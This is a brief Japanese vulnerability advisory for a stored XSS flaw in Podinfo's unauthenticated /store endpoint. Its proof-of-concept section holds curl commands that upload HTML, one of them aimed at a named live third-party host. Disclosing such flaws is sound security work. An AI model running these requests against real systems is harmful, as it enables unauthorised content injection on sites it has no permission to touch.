CVE-2025-70849: Podinfoにおける格納型XSS

概要

Podinfo（KubernetesマイクロサービスをデモンストレーションするWebアプリケーション）において、セキュリティ脆弱性（CWE-79）が特定されました。/store機能では、認証されていないユーザーが任意のHTML/JSコンテンツをアップロードでき、格納型XSSを引き起こします。

脆弱性詳細

• CVE ID: CVE-2025-70849
• 製品: Podinfo
• 影響を受けるエンドポイント: /store
• 脆弱性タイプ: 格納型クロスサイトスクリプティング（XSS）
• 影響を受けるバージョン: <= 6.10.0

概念実証（PoC）

1. 悪意のあるペイロードを送信する:
   root@kitploit:~

   curl -X POST https://target/store -H "Content-Type: text/html" -d '<h1>CVE-2025-70849</h1>'
   

   ライブターゲットの例:
   root@kitploit:~

   curl -X POST https://podinfo.xcr.preprod55.prepd.eastus.kaas.sws.siemens.com/store -H "Content-Type: text/html" -d '<h1>CVE-2025-70849</h1>'